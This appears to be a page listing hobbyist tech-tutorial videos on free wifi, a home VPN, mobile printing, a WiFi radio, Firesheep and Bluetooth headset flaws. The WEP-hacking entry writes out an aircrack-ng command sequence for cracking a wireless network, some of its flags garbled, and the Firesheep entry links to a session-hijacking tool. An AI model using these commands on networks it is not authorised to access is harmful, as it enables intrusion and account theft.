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How To Find Free Wifi

This video shows you some common tips for never being wifi-less again!


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This video shows you some common tips for never being wifi-less again!

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Websites and apps for finding free wifi

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Make Your Own Private Interwebz!

Stay secure on public wireless networks by making your own FREE virtual private network (VPN). This tutorial shows you how to set up an OpenVPN server and connect to it from your laptop.

Links used in this video:

Print from your Cell Phone or iPad

In this episode, we discover how to print to your home printer from anywhere using your mobile device, including most smartphones and the iPad.

Google Cloud Print: http://code.google.com/apis/cloudprint/docs/overview.html
Dropbox: http://www.dropbox.com
Droppedbox (Windows Mobile): http://forum.xda-developers.com/showthread.php?t=687534
E-print (for Windows): http://img.labnol.org/files/e-print.zip
E-print (for Linux): http://www.labnol.org/software/print-files-on-linux/17841/
E-print (for Mac): http://www.labnol.org/tech/print-files-on-remote-mac/17838/

FireSheep vs. Facebook

Firesheep is a hacking program that can steal the facebook and twitter accounts of anyone on a shared Wi-Fi connection. This video will show you how to protect yourself against that.

Firesheep – http://codebutler.github.com/firesheep
Idiocy – http://jonty.co.uk/idiocy
Fireshepard – http://notendur.hi.is/~gas15/FireShepherd
HTTPS Everywhere – https://www.eff.org/https-everywhere

How To Make A Cheap WiFi Radio

In this episode, I will show you how to create a cheap WiFi radio for under $50.

Firmware direct download – http://wiki.openwrt.org/toh/asus/wl520gu
Asus Restoration Utility – http://www.tinkernut.com/demos/253_wifi_radio/wl520.zip
Putty – http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
Ario MPD client – http://sourceforge.net/projects/ario-player/files/
GTK+ for Windows – http://gtk-win.sourceforge.net/home/index.php/en/Downloads

Parts Needed:
Asus WL-520GU – http://www.amazon.com/Asus-WL-520GU-ASUS-Wireless-Router/dp/B000R3BTDC
USB Sound – http://www.amazon.com/External-Channel-Sound-Adapter-Notebook/dp/B000N35A0Y

MPC Commands – http://linux.die.net/man/1/mpc
MPD Clients – http://mpd.wikia.com/wiki/Clients

Reference Sites:
OpenWRT – http://www.openwrt.org
MightyOhm – http://mightyohm.com

How To Hack Wireless

This video shows one method of hacking a wireless WEP connection and gives you some tips on how to better secure your wireless.


/etc/init.d/networking start
airmon-ng stop [wireless card name]
airmon-ng start [wireless card name]
airodump-ng [wireless card name]
ctrl c
airodump-ng w wep c [channel number] bssid [Bssid number] [wireless card name]
aireplay-ng -1 0 a [bssid] [wireless card name]
aireplay-ng -3 b [bssid][wireless card name]
ctrl + c
aircrack-ng [filename]

How To Hack Bluetooth Headsets

This video shows one of the vulnerabilities of some bluetooth headsets. To prevent this vulnerability, it’s best to invest a little more money into a more secure headset and making sure your headset is turned off when not in use. You can find all of the links and scripts used in this video, as well as find answers to questions you may have at the link below: